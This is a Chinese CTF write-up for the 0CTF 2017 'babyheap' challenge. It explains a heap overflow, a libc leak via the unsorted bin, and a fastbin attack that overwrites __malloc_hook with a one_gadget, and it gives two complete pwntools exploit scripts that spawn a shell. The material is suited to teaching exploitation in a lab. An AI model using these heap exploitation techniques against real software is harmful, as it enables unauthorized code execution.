0ctf_2017_babyheap
WP for 0CTF_2017_Babyheap
- Babyheap
- 0x01. File Analysis
- 0x02. Static Analysis
- 0x03. Dynamic Analysis & Exploit
- 0x031. leak address
- 0x032. write __malloc_hook
- 0x04. EXP
- 0x05. Summary
Babyheap
0x01. File Analysis
- 检查保护
64位、小端序、ELF格式文件
保护全开!
所以got表不可写了,利用时只能考虑写
malloc_hook
或者free_hook
- 执行文件
一个简单的堆管理器
能够实现,分配、填充、释放、打印功能
0x02. Static Analysis
- 函数首先调用了
Sub_B70
,往内存中映射了0x1000字节空间,并将返回值传给var_8
,也就是后面的变量v4
- 开始打印菜单信息
- 进入
switch
判断
lea rdx, ds:0[rax*4]
lea rax, jpt_116C
mov eax, ds:(jpt_116C - 14F4h)[rdx+rax]
movsxd rdx, eax
lea rax, jpt_116C
add rax, rdx
jmp rax ; switch jump
- 输入1时,进入
allocate
函数:
可以看到,完成内存分配后,在v4的空间中保存了结构体的信息
每个结构体内部定义了三个变量:
0-7 标志位 (0/1) 8-15 size(大小) 16-24 指向堆上chunk的指针
- 输入2时,进入
fill
函数 (存在任意长度溢出漏洞)
fill
函数可以堆指定index的chunk进行修改,这里重新读入了一个size,并向堆中分配的chunk中写入size大小的内容- 并且没有对已分配的chunk的边界增加任何的判定!
- 产生了一个溢出漏洞,可以通过fill函数来覆盖物理上临近的两个chunk!
dump
函数
判断当标志位仍然为1时,打印该结构体指向的chunk中的content信息
free
函数
free大概干了下面的事情:
判断标志位
置零标志位
置零size
释放指针
指针置零
由于指针释放、并且置零了,free函数是安全的。
根据目前静态分析得到的思路:
- 任意长度溢出
- 1、可以通过修改已释放chunk的fd位,来人为制造堆块重叠
- 2、可以通过修改未释放chunk的size位,释放并重新分配来使chunk重叠
- 通过释放一个size大于0x90的chunk,从
unsortedbin
中泄露main_arena
- 最后通过方法修改
fastbin
中的fd链,让chunk分配到__malloc_hook
附近,最后向里面写入one_gadget
0x03. Dynamic Analysis & Exploit
0x031. leak address
- unsortedbin中的头指针为
main_arena+88
,如下图
而
main_arena
和libc_base_addr
的偏移在固定libc时是固定的这给地址泄露带来了可能
- 方法一:溢出size位,释放并重新分配,让fastbin和下一个大小在smallbin范围的chunk重叠
allocate(0x40)#chunk0
allocate(0x40)#chunk1
allocate(0x80)#chunk2
allocate(0x10)#chunk3 防止top_chunk 进行malloc_consolidate
想法是,通过chunk0溢出,修改chunk1的size位,拓展到刚好可以覆盖到chunk2的fd位
在完成重叠后,释放chunk2,打印chunk1内容即可泄露
main_arena
地址
- 这里一口气借助chunk0完成了后续所有的修改
payload = 'a' * 0x40 + p64(0) + p64(0x71) + 'b' * 0x60 + p64(0) + p64(0x20)
payload如下图:
'a' * 0x40 + p64(0) + p64(0x71)
是为了修改chunk1的size位为0x71
'b' * 0x60 + p64(0) + p64(0x20)
是为了在拓展后的的chunk1后面伪造一个chunk首部信息,为了度过free chunk1的时候对其next_chunk的检测:
相关检测如下:
nextsize = chunksize(nextchunk);if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)|| __builtin_expect (nextsize >= av->system_mem, 0)){errstr = "free(): invalid next size (normal)";goto errout;}
要求
0x10 < next_size < system_mem
- 重分配chunk1,恢复chunk2,并释放chunk2
free(1)
allocate(0x60)
payload = 'c' * 0x40 + p64(0) + p64(0x91)
fill(1, payload)#恢复chunk2(如果想根据结构体记录的信息恢复chunk2,必须把其chunk结构恢复)
free(2)#释放,让chunk2的fd指向main_arena + 88
dump(1)#泄露chunk2的fd
chunk2已释放
dump信息:
可以看到
7ffb5cd88b78
就是我们要的main_arena + 88泄露完成!
- 可以找一下结构体信息,来对照印证一下
- 查找结构体信息
vmmap
指令查找一下,第一行就是程序自己mmap出的data段,结构体信息在里面
x/1000gx 0x4dc37825f000
(由于地址随机化,每次调试过程堆上地址会变,请您见谅= =)
- 此时结构体布局如下
- 可以清晰的看出,chunk1的size拓展到了0x60,chunk2被释放掉了
0x032. write __malloc_hook
覆写
__malloc_hook
主要是通过修改fd指针,将fastbin中伪造一个freed_chunk,分配到malloc_hook
附近,再通过fill函数想malloc_hook函数写入one_gadet
- malloc_hook是个弱类型指针,当其中的值不为0时,会执行指针指向的内容
- 所以劫持malloc_hook,写入one_gadget可以达到getshell的目的
- 利用过程中的难点是通过malloc时fastbin的检测
- 首先通过之前的
main_arena
地址,计算__malloc_hook
地址:
- fastbin检测绕过——malloc时对fastbin的nextchunk有一个size检测
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())){idx = fastbin_index (nb);mfastbinptr *fb = &fastbin (av, idx);mchunkptr pp = *fb;do{victim = pp;if (victim == NULL)break;}while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))!= victim);if (victim != 0)//检测主要在这里。{if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)){errstr = "malloc(): memory corruption (fast)";errout:malloc_printerr (check_action, errstr, chunk2mem (victim), av);return NULL;}check_remalloced_chunk (av, victim, nb);void *p = chunk2mem (victim);alloc_perturb (p, bytes);return p;}}
如果想通过检测,并且把chunk分配到malloc_hook附近,
1. 必须在`malloc_hook`附近有一个能够通过`fastbin_index (chunksize (victim)) == idx`检测的位置
1. 能够伪造fd链,欺骗fastbin
- 这里用到了错位偏移,人为制造一个fastbin大小范围的fake_chunk
malloc_hook
附近的情况如下
通过错位偏移,人为制造一个size = 0x7f
出来
所以我们修改fd为
__malloc_hook - 0x30 + 0xd
,在这的chunk偏移0x13处就是__malloc_hook的内容可以看到,如上图,这里的size位刚好为0x7f,能够通过fd对malloc的检测
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
- 释放一个fastbin范围大小的chunk,通过fill函数的任意溢出,来其fd指向
malloc_hook - 0x30 + 0xd
free(1)
payload = 'c' * 0x40 + p64(0) + p64(0x71) + p64(malloc_hook - 0x30 + 0xd)
fill(0, payload)
分配两次chunk,将目标chunk分配出来
第一次分配:
- 取得目标chunk、写入one_gadget
one_gadget = libc_base + 0x4527a
payload = 'a' * 0x13 + p64(one_gadget)
fill(2, payload)
allocate(0x20)
可以看到已经将one_gadget 写进去了
利用成功!
0x04. EXP
- 完整exp
- 法一:拓展已分配块
from pwn import *
context(log_level='debug', os = 'linux', arch = 'amd64')p = process('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def allocate(size):p.recvuntil('Command:')p.sendline('1')p.recvuntil('Size:')p.sendline(str(size))def fill(index, content):size = len(content)p.recvuntil('Command:')p.sendline('2')p.recvuntil('Index:')p.sendline(str(index))p.recvuntil('Size:')p.sendline(str(size))p.recvuntil('Content:')p.send(content)def free(index):p.recvuntil('Command:')p.sendline('3')p.recvuntil('Index:')p.sendline(str(index))def dump(index):p.recvuntil('Command:')p.sendline('4')p.recvuntil('Index:')p.sendline(str(index))p.recvuntil('Content: \n')#gdb.attach(p)allocate(0x40)#0
allocate(0x40)#1
allocate(0x80)#2
allocate(0x10)#3
payload = 'a' * 0x40 + p64(0) + p64(0x71) + 'b' * 0x60 + p64(0) + p64(0x20)
fill(0, payload)#pause()
free(1)
#pause()
allocate(0x60)
#pause()payload = 'c' * 0x40 + p64(0) + p64(0x91)
fill(1, payload)
free(2)#-2
dump(1)
#pause()
p.recv(0x58)
main_arena = u64(p.recv(6).ljust(8, '\x00')) - 88
log.success('main_arena: ' + hex(main_arena))
libc_base = main_arena - 0x3C4B20
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.success('malloc_hook: ' + hex(malloc_hook))free(1)payload = 'c' * 0x40 + p64(0) + p64(0x71) + p64(malloc_hook - 0x30 + 0xd)
fill(0, payload)
allocate(0x60)#1allocate(0x60)#2one_gadget = libc_base + 0x4527a
payload = 'a' * 0x13 + p64(one_gadget)
fill(2, payload)
#pause()
allocate(0x20)
p.interactive()
- 法二:fastbin_dup
除了上面分析的方法外,还可以修改fd链来制造块重叠,这里给出exp,
from pwn import *
context(log_level='debug', os = 'linux', arch = 'amd64')p = process('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def allocate(size):p.recvuntil('Command:')p.sendline('1')p.recvuntil('Size:')p.sendline(str(size))def fill(index, content):size = len(content)p.recvuntil('Command:')p.sendline('2')p.recvuntil('Index:')p.sendline(str(index))p.recvuntil('Size:')p.sendline(str(size))p.recvuntil('Content:')p.send(content)def free(index):p.recvuntil('Command:')p.sendline('3')p.recvuntil('Index:')p.sendline(str(index))def dump(index):p.recvuntil('Command:')p.sendline('4')p.recvuntil('Index:')p.sendline(str(index))p.recvuntil('Content: \n')#gdb.attach(p)
allocate(0x10)#0
allocate(0x10)#1
allocate(0x10)#2 -->4
allocate(0x10)#3
allocate(0x80)#4 freed
allocate(0x10)#marginpayload = 'a' * 0x10 + p64(0) + p64(0x21)
fill(3, payload)
free(2)
free(1)
#pause()
payload = 'a' * 0x10 + p64(0) + p64(0x21) + '\x80'
fill(0, payload)
#pause()
allocate(0x10)#1
#pause()
allocate(0x10)#2 ? 4
payload = 'b' * 0x10 + p64(0) + p64(0x91)
fill(3, payload)
free(4)
dump(2)p.recv(8)
addr = u64(p.recv(6).ljust(8, '\x00'))
log.success("addr: " + hex(addr))
#pause()
main_arena = addr - 88log.success("main_arena: " + hex(main_arena))
#pause()offset = 0x3C4B20
libc_base = main_arena - offset
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0x4527a#0x45226 0x4527a
allocate(0x60)
free(4)
payload = p64(malloc_hook - 0x30 + 0xd)
fill(2, payload)
allocate(0x60)
allocate(0x60)
fill(6, '0' * 0x13 + p64(one_gadget))
allocate(0x10)
p.interactive()
0x05. Summary
- 题目是堆的入门题目
- 给了任意字节溢出
- 主要考察
fastbin_attack
的利用方式
- 写入malloc_hook时的错位偏移需要构造一下
- 要注意malloc/free时对chunk的检测
- 对堆程序的利用要时刻关注结构体和堆管理机制的联系
0ctf_2017_babyheap相关推荐
- PWN-PRACTICE-BUUCTF-16
PWN-PRACTICE-BUUCTF-16 mrctf2020_easyoverflow hitcontraining_magicheap ciscn_2019_s_4 0ctf_2017_baby ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- Uuntu16 学习记录(持续更新中......)
Top Chunk: 概念:当一个chunk处于一个arena的最顶部(即最高内存地址处)的时候,就称之为top chunk. 作用:该chunk并不属于任何bin,而是在系统当前的所有free ch ...
- BUU刷题babyheap_0ctf_2017
解题所需知识: 只有这个wp可以打通其他的都不可以!!! [FastBinAttack实战]babyheap_0ctf_2017 – TokameinE babyheap_0ctf_2017 | 堆利 ...
最新文章
- 用C语言实现素数筛法获取一亿(100000000)以内的全部素数
- polycom安卓手机客户端_安卓新功能曝光:或可通过应用商店更新手机系统
- Google工程师:如何看待程序员普遍缺乏数据结构和算法知识?
- Xml文件数据的优点
- python解决问题asp_用python实现面向对像的ASP程序实例
- 这是小学数学的26个知识点,小孩hold不住,父母也易犯错
- Ubuntu下如何将普通用户提升到root权限
- python while无限循环、人为终止_Python while while循环永远不会停止,即使它应该
- python中的多线程的优点_Python中多线程编程的优点是什么?
- bzoj 1716 找零钱
- 极大似然估计法(Maximum likelihood estimation, MLE)
- ps(AI)快捷键学习汇总
- 百分比收益率和对数收益率
- docker oxidized时区问题,时间显示不是北京时间问题的解决办法
- 运用卫星数据及AI技术 微软推出新一代模拟飞行游戏
- 机器学习中的度量指标:ROC曲线,AUC值,K-S曲线
- 程序逸的Java项目之旅-图书管理系统之数据库设计(1)
- 基于大疆无人机全景拍照的实现思路
- roszhong指定rviz的点启动_Rviz 实现 pannel 插件
- webmagic学习之路-3:采集安居客经纪人详情页